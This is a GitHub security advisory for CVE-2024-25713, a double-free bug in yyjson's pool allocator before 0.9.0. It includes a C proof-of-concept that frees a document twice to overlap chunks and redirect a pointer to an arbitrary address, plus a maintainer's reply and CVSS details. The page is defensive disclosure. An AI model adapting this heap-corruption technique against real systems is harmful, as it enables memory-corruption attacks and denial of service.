Skip to content

yyjson has a Double Free vulnerability

High severity GitHub Reviewed Published Feb 29, 2024 to the GitHub Advisory Database • Updated Aug 29, 2024

Package

swift github.com/ibireme/yyjson (Swift)

Affected versions

< 0.9.0

Patched versions

0.9.0

Description

Summary

The pool series allocator (pool_malloc/pool_free/pool_realloc) by yysjon has a Double Free vulnerability, which may lead to arbitrary address writing and Denial of Service (DoS) attacks.
Arbitrary address writing, combined with other legitimate or illegitimate operations of programs using this library, can lead to remote code execution.

Details

The core cause of this vulnerability lies in the pool_free function's lack of loop checks, while the direct cause stems from the pool_free function and similar free-series functions not performing pointer destruction, resulting in Use-After-Free (UAF) vulnerabilities.

PoC

Below, a C language program using yyjson 0.8.0 is written to show how to exploit a Double Free vulnerability to cause chunk overlaps, which then allows the modification of a chunk's next pointer to point to an arbitrary address. If the targeted address is valid, modifications can be made. However, if the address is invalid, it could lead to the program crashing, which could be exploited for a Denial of Service (DoS) attack. Additionally, constructing a cyclic chain of chunks could force the service into an infinite loop, also exploitable for a DoS attack.

#include <stdio.h>
#include "yyjson.h"

char test[0x110];
int64_t a=0xffffffff;
int64_t b= (int64_t) test;

int main() {

    size_t max_json_size = 64 * 1024;

    size_t buf_size = yyjson_read_max_memory_usage(max_json_size, 0);

    void *buf = malloc(buf_size);

    yyjson_alc alc;
    yyjson_alc_pool_init(&alc, buf, buf_size);

    yyjson_mut_doc *p1 = yyjson_mut_doc_new(&alc);
    yyjson_mut_doc *p2 = yyjson_mut_doc_new(&alc);
    yyjson_mut_arr(p2);

    yyjson_mut_doc *p3 = yyjson_mut_doc_new(&alc);

    yyjson_mut_doc_free(p2);
    yyjson_mut_doc_free(p2); // double free
    yyjson_mut_doc_free(p1);

    yyjson_read_flag flg = YYJSON_READ_ALLOW_COMMENTS | YYJSON_READ_ALLOW_INF_AND_NAN;


    for(int i=0;i<0x100;i++)test[i]= 'a';
    test[0x100]='\00';
    char *payload_f = "[%lld,43981]";

    char payload[100];
    sprintf(payload,payload_f,&a);
    yyjson_mut_doc *p4 = yyjson_read_opts(payload,strlen(payload),flg,&alc,NULL);

    yyjson_mut_doc *p5 = yyjson_mut_doc_new(&alc);
    yyjson_mut_doc *p6 = yyjson_mut_doc_new(&alc);
    yyjson_mut_doc *p7 = yyjson_mut_doc_new(&alc);
    yyjson_mut_doc *p8 = yyjson_mut_doc_new(&alc);
    for(int z=1;z<=100;z++)
    yyjson_mut_int(p8,0x63636363);

    printf("%s",test);
    free(buf);
    return 0;
}

Impact

What kind of vulnerability is it? Who is impacted?

Note from yyjson

yyjson_mut_doc_free() is well-documented:
https://github.com/ibireme/yyjson/blob/0.8.0/src/yyjson.h#L2090-L2093

/** Release the JSON document and free the memory.
    After calling this function, the `doc` and all values from the `doc` are no
    longer available. This function will do nothing if the `doc` is NULL.  */
void yyjson_mut_doc_free(yyjson_doc *doc);

If you have already called yyjson_mut_doc_free() on a doc, the doc and its internal values are invalid.
Any further operation on the doc or its values is undefined behavior.

While this is not a bug in yyjson itself, a defensive patch has been provided: 0eca326
If you mistakenly call yyjson_mut_doc_free() twice on the same doc against the documentation,
this patch will cause your program to crash immediately, alerting you to the incorrect usage.

References

Published by the National Vulnerability Database Feb 29, 2024
Published to the GitHub Advisory Database Feb 29, 2024
Reviewed Aug 29, 2024
Last updated Aug 29, 2024

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality Low
Integrity High
Availability Low
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N

EPSS score

0.045%
(16th percentile)

Weaknesses

CVE ID

CVE-2024-25713

GHSA ID

GHSA-whx6-m9j4-w2m2

Source code

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.